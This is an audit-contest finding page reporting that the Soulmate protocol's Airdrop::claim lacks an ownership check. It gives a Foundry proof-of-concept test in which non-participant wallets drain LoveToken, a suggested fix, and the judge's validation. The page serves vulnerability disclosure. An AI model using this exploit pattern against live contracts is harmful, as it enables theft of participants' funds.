Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

**Access Control, leading to a loss of funds**

  • Access Control, leading to a loss of funds

    • Description:

      • The Airdrop::claim function doesn't have any access control mechanism and this fact allied with a protocol logic allows a malicious actor to steal money from the participants. see the code below:

        uint256 numberOfDaysInCouple = (block.timestamp -
        soulmateContract.idToCreationTimestamp(
        soulmateContract.ownerToId(msg.sender)
        )) / daysInSecond;
    • Impact:

    • Allows malicious actors to steal LoveToken from the participants.

    • Proof of Code:

      • Soulmate1 and Soulmate2 mint the soulmate NFT

      • They let the Airdrop accumulate for 200 days

      • Then somebody sees and claims with a wallet that doesn't participate in the protocol.

      • This somebody will be considered the owner of the token[0] and will be able to claim the rewards.

      Add the code bellow on `AirdropTest.t.sol`
      address private maliciousActor1 = makeAddr("maliciousActor1");
      address private maliciousActor2 = makeAddr("maliciousActor2");
      function test_ClaimWithoutBeASoulmate() public {
      _mintOneTokenForBothSoulmates();
      // Not enough day in relationship
      vm.prank(soulmate1);
      vm.expectRevert();
      airdropContract.claim();
      vm.warp(block.timestamp + 200 days + 1 seconds);
      vm.prank(maliciousActor1);
      airdropContract.claim();
      assertTrue(loveToken.balanceOf(maliciousActor1) == 200 ether);
      vm.prank(maliciousActor2);
      airdropContract.claim();
      assertTrue(loveToken.balanceOf(maliciousActor2) == 200 ether);
      }
    • Recommendation:

      • Add a check to limit access to soulmates only

      Add the code bellow on `AirdropTest.t.sol`
      + error Airdrop__YouMustHaveASoulmateToClaim();
      /// @notice Claim tokens. Every person who have a Soulmate NFT token can claim 1 LoveToken per day.
      function claim() public {
      + address soulmate = soulmateContract.soulmateOf(msg.sender);
      + if (soulmate == address(0))
      + revert Airdrop__YouMustHaveASoulmateToClaim();
      // No LoveToken for people who don't love their soulmates anymore.
      if (soulmateContract.isDivorced()) revert Airdrop__CoupleIsDivorced();
      // Calculating how long soulmates are reunited
      //@external call before state change
      uint256 numberOfDaysInCouple = (block.timestamp -
      soulmateContract.idToCreationTimestamp(
      soulmateContract.ownerToId(msg.sender)
      )) / daysInSecond;
      uint256 amountAlreadyClaimed = _claimedBy[msg.sender];
      if (
      amountAlreadyClaimed >=
      numberOfDaysInCouple * 10 ** loveToken.decimals()
      ) revert Airdrop__PreviousTokenAlreadyClaimed();
      uint256 tokenAmountToDistribute = (numberOfDaysInCouple *
      10 ** loveToken.decimals()) - amountAlreadyClaimed;
      // Dust collector
      if (
      tokenAmountToDistribute >=
      loveToken.balanceOf(address(airdropVault))
      ) {
      tokenAmountToDistribute = loveToken.balanceOf(
      address(airdropVault)
      );
      }
      _claimedBy[msg.sender] += tokenAmountToDistribute;
      emit TokenClaimed(msg.sender, tokenAmountToDistribute);
      loveToken.transferFrom(
      address(airdropVault),
      msg.sender,
      tokenAmountToDistribute
      );
      }
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claim-airdrop-without-owning-NFT

High severity, This issue is separated from the flawed `isDivorced()` check presented in issue #168 as even if that is fixed, if ownership is not checked, isDivorced would still default to false and allow bypass to claim airdrops by posing as tokenId 0 in turn resulting in this [important check for token claim is bypassed.](https://github.com/Cyfrin/2024-02-soulmate/blob/b3f9227942ffd5c443ce6bccaa980fea0304c38f/src/Airdrop.sol#L61-L66). #220 is the most comprehensive issue as it correctly recognizes both issues existing within the same function.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.